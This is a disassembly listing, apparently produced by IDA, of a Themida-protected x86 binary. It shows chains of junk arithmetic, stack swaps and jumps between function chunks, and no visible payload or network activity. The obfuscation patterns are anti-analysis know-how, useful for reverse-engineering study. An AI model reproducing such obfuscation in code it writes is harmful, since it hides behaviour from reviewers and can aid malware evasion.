		mov	ecx, [esp]
		add	esp, 4
		push	esi
		push	573B5F9Ah
		pop	esi
		jmp	loc_56A18D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5666C3


loc_56E78B:				; CODE XREF: sub_5666C3+AFC4j
		mov	edi, 152725Dh
		shl	edi, 7
		and	edi, 617A768Eh
		add	edi, 0F61E28D9h
		add	eax, edi
		pop	edi
		add	eax, edi
		push	ecx
		jmp	loc_5667DD
; END OF FUNCTION CHUNK	FOR sub_5666C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56E7AA:				; CODE XREF: sub_56616D-3F36j
		pop	esp
		push	ebx
		mov	ebx, 52DA1556h
		sub	eax, ebx
		pop	ebx
		push	dword ptr [edi+eax*4]
		push	[esp-8+arg_4]
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_574AFF
; END OF FUNCTION CHUNK	FOR sub_56616D

; =============== S U B	R O U T	I N E =======================================



sub_56E7C8	proc near		; DATA XREF: Themida_:0055FE30o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp+0], al
		pushf
		jmp	loc_55FF9F
sub_56E7C8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_56E7D7:				; CODE XREF: sub_56AEF2+A56Ej
		add	bl, 0B4h
		push	eax
		mov	ah, 2Fh
		shr	ah, 8
		jmp	loc_568AF8
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566DFE


loc_56E7E5:				; CODE XREF: sub_566DFE+BA67j
		mov	eax, 24EF0002h
		add	edi, eax
		pop	eax
		jmp	loc_56D4EA
; END OF FUNCTION CHUNK	FOR sub_566DFE
; ---------------------------------------------------------------------------


loc_56E7F2:				; CODE XREF: Themida_:0056C90Bj
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 3D1F134Dh
		jmp	loc_5723EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5653AD


loc_56E80F:				; CODE XREF: sub_5653AD+6A37j
		xor	ebx, [esp-4+arg_0]
		xor	[esp-4+arg_0], ebx
		xor	ebx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_568A1C
; END OF FUNCTION CHUNK	FOR sub_5653AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_56E826:				; CODE XREF: sub_56FA15-2864j
		add	ecx, 4
		xchg	ecx, [esp+14h+var_14]
		jmp	loc_5747A5
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_56E831:				; CODE XREF: sub_56AEF2+55D3j
		pop	ebx
		add	dl, 77h
		push	ebx
		mov	bh, dl
		mov	ah, bh
		pop	ebx
		jmp	loc_5719C1
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5687A3


loc_56E840:				; CODE XREF: sub_5687A3+3C8j
		add	esp, 4
		jmp	loc_56277D
; END OF FUNCTION CHUNK	FOR sub_5687A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569D5F


loc_56E848:				; CODE XREF: sub_569D5F+D52j
		add	esp, 2
		add	al, 19h
		jmp	sub_56A7FB
; END OF FUNCTION CHUNK	FOR sub_569D5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56E855:				; CODE XREF: sub_57354D-DC6Ej
		sub	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], edx
		mov	edx, 30ED5BB9h
		sub	edx, 29EC4BE5h
		and	edx, 480A0921h
		sub	edx, 34427230h
		jmp	loc_5645FA
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56E87B:				; CODE XREF: sub_56616D+40B7j
		sub	[esp-0Ch+arg_C], ebx
		mov	ebx, [esp-0Ch+arg_8]
		add	esp, 4
		jmp	loc_56C5F8
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F3B2


loc_56E88D:				; CODE XREF: sub_56F3B2-145Ej
		pop	ecx
		xchg	edi, ecx
		push	edi
		not	[esp+10h+var_10]
		pop	edi
		xchg	edi, ecx
		sub	ecx, 8EFA9931h
		push	ecx
		sub	[esp+10h+var_10], 32530D00h
		pop	esi
		add	esi, 32530D00h
		pop	ecx
		add	edi, esi
		mov	esi, [esp+8+var_8]
		add	esp, 4
		push	edi
		push	[esp+8+var_4]
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5651F2
; END OF FUNCTION CHUNK	FOR sub_56F3B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_56E8C8:				; CODE XREF: sub_563A7F+11545j
		add	edi, 1C706EF9h
		add	edi, ecx
		push	edx
		jmp	loc_56C862
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5684A6


loc_56E8D6:				; CODE XREF: sub_5684A6+9957j
		sub	esi, edx
		pop	edx
		jmp	loc_56D54C
; END OF FUNCTION CHUNK	FOR sub_5684A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_56E8DE:				; CODE XREF: sub_561541+2C0j
		mov	esp, [esp+0Ch+var_C]
		and	ecx, ebx
		push	[esp-8+arg_4]
		pop	ebx
		sub	esp, 4
		mov	[esp-4+arg_0], eax
		mov	eax, esp
		push	edi
		jmp	sub_56925C
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D7


loc_56E8F5:				; CODE XREF: sub_5747D7-B82Cj
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ebx
		push	eax
		push	0FF373F7h
		jmp	loc_565A40
; END OF FUNCTION CHUNK	FOR sub_5747D7

; =============== S U B	R O U T	I N E =======================================



sub_56E90A	proc near		; DATA XREF: Themida_:0055FCF0o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005625DE SIZE 00000010 BYTES

		mov	cx, [esp+0]
		sub	esp, 4
		jmp	loc_5625DE
sub_56E90A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_56E916:				; CODE XREF: sub_569193-261Fj
		mov	edi, 4
		jmp	loc_574185
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------


loc_56E920:				; CODE XREF: Themida_:0056C23Cj
		add	esp, 4
		jmp	loc_567065
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D855


loc_56E928:				; CODE XREF: sub_56D855-A0Cj
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56D855
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56264C


loc_56E92D:				; CODE XREF: sub_56264C+8C73j
		mov	ebx, 7A9262E3h
		sub	eax, ebx
		push	[esp+4+var_4]
		jmp	loc_571F8A
; END OF FUNCTION CHUNK	FOR sub_56264C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5681F5


loc_56E93C:				; CODE XREF: sub_5681F5-3D50j
		xchg	edx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		add	eax, ebx
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		sub	eax, 78772F70h
		jmp	loc_55FFF4
; END OF FUNCTION CHUNK	FOR sub_5681F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B11B


loc_56E957:				; CODE XREF: sub_56B11B+389Ej
		add	ebx, 4
		push	eax
		mov	eax, 4
		jmp	loc_568956
; END OF FUNCTION CHUNK	FOR sub_56B11B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564020


loc_56E968:				; CODE XREF: sub_564020+C3A8j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_564020

; =============== S U B	R O U T	I N E =======================================



sub_56E96D	proc near		; DATA XREF: Themida_:0055FD44o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 00563B44 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005688D9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00568E67 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0056A170 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056C4F3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056C824 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056D361 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056EE8A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0057022E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570442 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00570C89 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00573211 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00573AA8 SIZE 00000017 BYTES

		mov	ax, [esp+0]
		push	59EDh
		mov	[esp+4+var_4], ebp
		sub	esp, 4
		push	esp
		jmp	loc_563B44
sub_56E96D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560056


loc_56E982:				; CODE XREF: sub_560056+B0F7j
		pop	edx
		jmp	loc_565023
; END OF FUNCTION CHUNK	FOR sub_560056
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56E988:				; CODE XREF: sub_564D26+89D6j
		push	edi
		push	edx
		mov	edx, 0DA27F7Eh
		add	[esp+1Ch+var_18], edx
		jmp	loc_567284
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C295


loc_56E998:				; CODE XREF: sub_56C295-BAF0j
		pop	ebp
		push	ebp
		push	eax
		jmp	loc_563340
; END OF FUNCTION CHUNK	FOR sub_56C295
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5684A6


loc_56E9A0:				; CODE XREF: sub_5684A6-31AEj
		mov	ebx, 10480F8Bh
		neg	ebx
		add	ebx, 0CED4977Ah
		sub	ecx, ebx
		pop	ebx
		add	esi, ecx
		jmp	loc_56D78D
; END OF FUNCTION CHUNK	FOR sub_5684A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B11B


loc_56E9B7:				; CODE XREF: sub_56B11B-70D6j
		mov	ebx, esp
		jmp	loc_56E957
; END OF FUNCTION CHUNK	FOR sub_56B11B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_56E9BE:				; CODE XREF: sub_56AB5E+BA5j
		pop	ecx
		xor	ecx, 3F965A37h
		add	eax, ecx
		pop	ecx
		sub	eax, 186F6023h
		jmp	loc_56EAA5
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------


loc_56E9D2:				; DATA XREF: Themida_:0055FCC8o
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	1BD5h
		mov	[esp], ebp
		push	eax
		push	ebp
		jmp	loc_570437
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C83E


loc_56E9F6:				; CODE XREF: sub_56C83E+6812j
		sub	edx, 0CC19DC95h
		add	ebx, edx
		pop	edx
		inc	ebx
		jmp	loc_574D66
; END OF FUNCTION CHUNK	FOR sub_56C83E
; ---------------------------------------------------------------------------


loc_56EA05:				; CODE XREF: Themida_:0056FF69j
		mov	edi, esi
		mov	ecx, edi
		pop	edi
		mov	esi, [esp]
		jmp	loc_56FB95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56EA12:				; CODE XREF: sub_57354D-10758j
		mov	esp, [esp+0]
		jmp	loc_567CB7
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564BC5


loc_56EA1A:				; CODE XREF: sub_564BC5+54D7j
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		xor	bl, al
		movzx	eax, al
		jmp	loc_56A79A
; END OF FUNCTION CHUNK	FOR sub_564BC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D855


loc_56EA2E:				; CODE XREF: sub_56D855-8F94j
		push	eax
		mov	eax, 0B36360Ch
		shr	eax, 1
		neg	eax
		not	eax
		add	eax, 8463405h
		not	eax
		add	eax, 0DE14F0Fh
		jmp	loc_5721C6
; END OF FUNCTION CHUNK	FOR sub_56D855
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_56EA4B:				; CODE XREF: sub_5605BC-103j
		mov	edx, esp
		add	edx, 4
		push	edi
		push	ecx
		mov	ecx, 1F2453FBh
		jmp	loc_56CF1B
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574FC9


loc_56EA5F:				; CODE XREF: sub_574FC9-7931j
		pop	esp
		mov	[esp+0], ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp+4+var_4]
		xor	[esp+4+var_4], esi
		xor	esi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], esp
		jmp	loc_5706C5
; END OF FUNCTION CHUNK	FOR sub_574FC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_56EA81:				; CODE XREF: sub_5678CB+A15j
		push	2CEAh
		mov	[esp+8+var_A+2], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	[esp+0Ch+var_A+2]
		pop	ebx
		pop	[esp+0Ch+var_E+2]
		jmp	loc_565DF8
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_56EAA5:				; CODE XREF: sub_56AB5E+3E6Fj
		add	eax, ebx
		push	esi
		jmp	loc_563A29
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747FA


loc_56EAAD:				; CODE XREF: sub_5747FA-649Fj
		mov	esi, 5D8C668Fh
		xor	esi, 533630F3h
		mov	ecx, esi
		jmp	loc_5752C4
; END OF FUNCTION CHUNK	FOR sub_5747FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D3AF


loc_56EABF:				; CODE XREF: sub_56D3AF+3j
		mov	eax, [esp+4+var_4]
		add	esp, 4
		jmp	loc_564F99
; END OF FUNCTION CHUNK	FOR sub_56D3AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56ADD8


loc_56EACA:				; CODE XREF: sub_56ADD8+12j
		pop	ebx
		mov	ecx, [esp+0]
		jmp	sub_56A61D
; END OF FUNCTION CHUNK	FOR sub_56ADD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_56EAD3:				; CODE XREF: sub_56E126-A9D9j
		sub	edi, esi
		jmp	loc_569F8E
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56EADA:				; CODE XREF: sub_56616D+7160j
		sub	[esp-0Ch+arg_8], 1B46F62h
		sub	[esp-0Ch+arg_8], ecx
		add	[esp-0Ch+arg_8], 1B46F62h
		pop	ecx
		jmp	loc_562B49
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56651E


loc_56EAF1:				; CODE XREF: sub_56651E+5C35j
		mov	ebx, [esp+4+var_4]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		jmp	loc_5701B8
; END OF FUNCTION CHUNK	FOR sub_56651E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CBE


loc_56EB15:				; CODE XREF: sub_574CBE-1042Fj
		inc	eax
		not	eax
		add	eax, 0B4056B26h
		sub	edi, eax
		pop	eax
		mov	esi, edi
		mov	edi, [esp+14h+var_14]
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		add	edi, 4
		push	edi
		push	[esp+1Ch+var_18]
		pop	edi
		jmp	loc_56B859
; END OF FUNCTION CHUNK	FOR sub_574CBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_56EB42:				; CODE XREF: sub_563A7F-258j
		push	[esp+0Ah+var_C+2]
		jmp	loc_56B4B6
; END OF FUNCTION CHUNK	FOR sub_563A7F

; =============== S U B	R O U T	I N E =======================================



sub_56EB4A	proc near		; CODE XREF: sub_575420-F018j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00570378 SIZE 0000001C BYTES

		push	ebx
		mov	bl, 8Ch
		sub	bl, 15h
		sub	bl, 86h
		jmp	loc_570378
sub_56EB4A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CDD


loc_56EB58:				; CODE XREF: sub_574CDD-F5EDj
		and	esi, ecx
		pop	ecx
		jmp	loc_56DEDD
; END OF FUNCTION CHUNK	FOR sub_574CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_56EB60:				; CODE XREF: sub_571088-8C45j
		sub	al, dl
		jmp	loc_566A1A
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_56EB67:				; CODE XREF: sub_570732-AA2j
		add	edx, 4
		push	edx
		jmp	loc_570A32
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5690E8


loc_56EB70:				; CODE XREF: sub_5690E8-2BF9j
		push	edx
		mov	edx, 3A8328CBh
		shl	edx, 5
		jmp	loc_562E16
; END OF FUNCTION CHUNK	FOR sub_5690E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_56EB7E:				; CODE XREF: sub_56AEF2+969Cj
		mov	[esp-18h+arg_14], ecx
		jmp	loc_56059D
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_56EB86:				; CODE XREF: sub_56AB5E+2400j
		mov	ebp, [esp+10h+var_10]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+14h+var_14]
		pop	esp
		shr	ebp, 8
		or	ebp, 13153AB2h
		shr	ebp, 2
		push	ecx
		jmp	loc_56CA8F
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574287


loc_56EBAE:				; CODE XREF: sub_574287+6j
		add	esp, 4
		push	3D9h
		jmp	loc_56EE96
; END OF FUNCTION CHUNK	FOR sub_574287
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_56EBBE:				; CODE XREF: sub_561418+6507j
		sub	edx, 11401B12h
		xor	edx, 3DCDEB9Ah
		xor	ebx, edx
		pop	edx
		xor	ebx, 6FC50900h
		xor	ebx, 2E7E03CBh
		mov	edx, ebx
		jmp	loc_57398D
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_56EBE0:				; CODE XREF: sub_56B06D+2C68j
		mov	eax, 72E616EAh
		mov	edi, 72E616EEh
		xor	edi, eax
		pop	eax
		add	ebp, 45781026h
		add	ebp, edi
		sub	ebp, 45781026h
		push	[esp+4+var_4]
		pop	edi
		add	esp, 4
		add	ebp, 4
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		pop	esp
		jmp	loc_56D6DD
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_56EC17:				; CODE XREF: sub_5605BC+115B5j
		mov	[esp+10h+var_10], edx
		mov	edx, esp
		jmp	loc_56C621
; ---------------------------------------------------------------------------


loc_56EC21:				; CODE XREF: sub_5605BC+438j
		push	eax
		jmp	loc_56F773
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------


loc_56EC27:				; CODE XREF: Themida_:0056167Fj
		xor	eax, 83048248h
		add	esi, eax
		pop	eax
		push	4F68h
		mov	[esp], edi
		push	esi
		push	esp
		pop	esi
		jmp	loc_56E3E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564CDA


loc_56EC3F:				; CODE XREF: sub_564CDA+A94Aj
		push	eax
		jmp	loc_56B111
; END OF FUNCTION CHUNK	FOR sub_564CDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561C21


loc_56EC45:				; CODE XREF: sub_561C21+12FDDj
		push	eax
		mov	al, 7Fh
		add	ch, 2Dh
		sub	ch, al
		sub	ch, 2Dh
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		xor	ch, 62h
		sub	ch, 0CEh
		and	bl, ch
		pop	ecx
		inc	bl
		jmp	loc_56A5D6
; END OF FUNCTION CHUNK	FOR sub_561C21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568646


loc_56EC69:				; CODE XREF: sub_568646-684Ej
		mov	dl, 0F7h
		jmp	sub_56AEF2
; END OF FUNCTION CHUNK	FOR sub_568646
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572669


loc_56EC70:				; CODE XREF: sub_572669-123F8j
		push	ecx
		mov	ecx, 1BFF5B5Bh
		xor	[esp+4], ecx
		pop	ecx
		jmp	loc_567A54
; END OF FUNCTION CHUNK	FOR sub_572669
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574FC9


loc_56EC80:				; CODE XREF: sub_574FC9-4DBBj
		push	eax
		mov	eax, 0
		sub	eax, edi
		xchg	eax, edi
		mov	eax, [esp+4+var_4]
		add	esp, 4
		add	edi, 5384760Ch
		add	edi, 0B052717Bh
		add	ebx, 371B6D13h
		jmp	loc_574412
; END OF FUNCTION CHUNK	FOR sub_574FC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_56ECA9:				; CODE XREF: sub_569193-8B89j
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		push	ecx
		jmp	loc_5679B3
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------


loc_56ECB3:				; CODE XREF: Themida_:0056CB33j
		push	ebx
		mov	ebx, 6B074EBDh
		or	ebx, 1B9046FAh
		jmp	loc_562E51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57523A


loc_56ECC4:				; CODE XREF: sub_57523A-11A74j
		add	edi, esi
		pop	esi
		xchg	edi, [esp+8+var_8]
		jmp	loc_56C332
; END OF FUNCTION CHUNK	FOR sub_57523A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D69D


loc_56ECCF:				; CODE XREF: sub_56D69D+34DCj
		mov	ecx, ebx
		pop	ebx
		sub	eax, 2BDB4967h
		jmp	loc_56F7B3
; END OF FUNCTION CHUNK	FOR sub_56D69D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D464


loc_56ECDC:				; CODE XREF: sub_56D464+64D0j
		pop	esp
		sub	esp, 4
		mov	[esp+8+var_8], esi
		push	esp
		jmp	loc_573833
; END OF FUNCTION CHUNK	FOR sub_56D464
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A608


loc_56ECE9:				; CODE XREF: sub_56A608+1093j
		sub	ecx, edx
		pop	edx
		push	esi
		mov	esi, 7944186h
		push	ebx
		mov	ebx, 0FFFFFFFFh
		add	esi, ebx
		pop	ebx
		shr	esi, 7
		not	esi
		push	edx
		mov	edx, 0FB36B518h
		jmp	loc_56DA1C
; END OF FUNCTION CHUNK	FOR sub_56A608
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56ED0B:				; CODE XREF: sub_57354D+14FEj
		pop	edx
		jmp	loc_560B6F
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_56ED11:				; CODE XREF: sub_5620B7-1F5Fj
		push	edx
		jmp	loc_56BD74
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568646


loc_56ED17:				; CODE XREF: sub_568646-19F6j
		neg	dl
		shl	dl, 5
		push	ax
		mov	al, 6Eh
		and	dl, al
		mov	ax, [esp+0]
		add	esp, 2
		and	dl, 0F0h
		push	ecx
		mov	cl, 0D7h
		dec	cl
		add	cl, 0F0h
		xor	cl, 0B6h
		sub	dl, cl
		pop	ecx
		jmp	loc_56DE64
; END OF FUNCTION CHUNK	FOR sub_568646
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_56ED3F:				; CODE XREF: sub_574656-6E26j
		mov	esp, [esp+0]
		jmp	loc_56D1BD
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_56ED47:				; CODE XREF: sub_57549C-138F3j
		pop	edx
		add	edx, 4
		jmp	loc_57048F
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_56ED53:				; CODE XREF: sub_56FB8A-C472j
		push	ecx
		push	esp
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		push	edx
		jmp	loc_56EE5F
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_56ED61:				; CODE XREF: sub_574A21-BD61j
		or	ebp, 1FDD1A94h
		inc	ebp
		sub	ebp, 1DBB0ECBh
		or	ebp, 27021036h
		push	ecx
		mov	ecx, 3C682D29h
		xor	ebp, ecx
		jmp	loc_5688F7
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56638C


loc_56ED81:				; CODE XREF: sub_56638C+E658j
		push	esi
		sub	esp, 4
		mov	[esp+14h+var_14], ebx
		mov	ebx, 296D7EB0h
		inc	ebx
		xor	ebx, 33254014h
		mov	esi, ebx
		pop	ebx
		push	esi
		not	[esp+14h+var_14]
		mov	esi, [esp+14h+var_14]
		add	esp, 4
		or	esi, 2DB9057Ch
		sub	esi, 0EDBFC57Ah
		add	edx, 1E6F7547h
		add	edx, esi
		sub	edx, 1E6F7547h
		push	[esp+10h+var_10]
		pop	esi
		add	esp, 4
		jmp	loc_56A03E
; END OF FUNCTION CHUNK	FOR sub_56638C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5680F2


loc_56EDD0:				; CODE XREF: sub_5680F2-3CAEj
		mov	ebx, 77CD10D4h
		neg	ebx
		xor	ebx, 43217E9Bh
		push	ecx
		jmp	loc_56B01A
; END OF FUNCTION CHUNK	FOR sub_5680F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_56EDE3:				; CODE XREF: sub_56241E+103C3j
		sub	cx, 59BAh
		sub	cx, 34A8h
		sub	cx, di
		add	cx, 34A8h
		add	cx, 59BAh
		mov	edi, [esp+0Ch+var_C]
		jmp	loc_561040
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56EE02:				; CODE XREF: sub_564D26-49ECj
		mov	[esp+10h+var_10], ebx
		push	esi
		mov	esi, 1E445232h
		mov	ebx, esi
		pop	esi
		shr	ebx, 7
		push	ebp
		jmp	loc_56363F
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560EA2


loc_56EE17:				; CODE XREF: sub_560EA2+134EFj
		pop	edi
		add	edi, 1BA44ACBh
		push	edi
		pop	ebp
		pop	edi
		shl	ebp, 6
		inc	ebp
		push	eax
		jmp	loc_571792
; END OF FUNCTION CHUNK	FOR sub_560EA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_56EE2B:				; CODE XREF: sub_57549C-54A2j
		xchg	edi, [esp+8+var_8]
		pop	esp
		add	eax, 616D370Eh
		sub	eax, ebx
		sub	eax, 616D370Eh
		push	edi
		push	3737h
		jmp	loc_567577
; END OF FUNCTION CHUNK	FOR sub_57549C
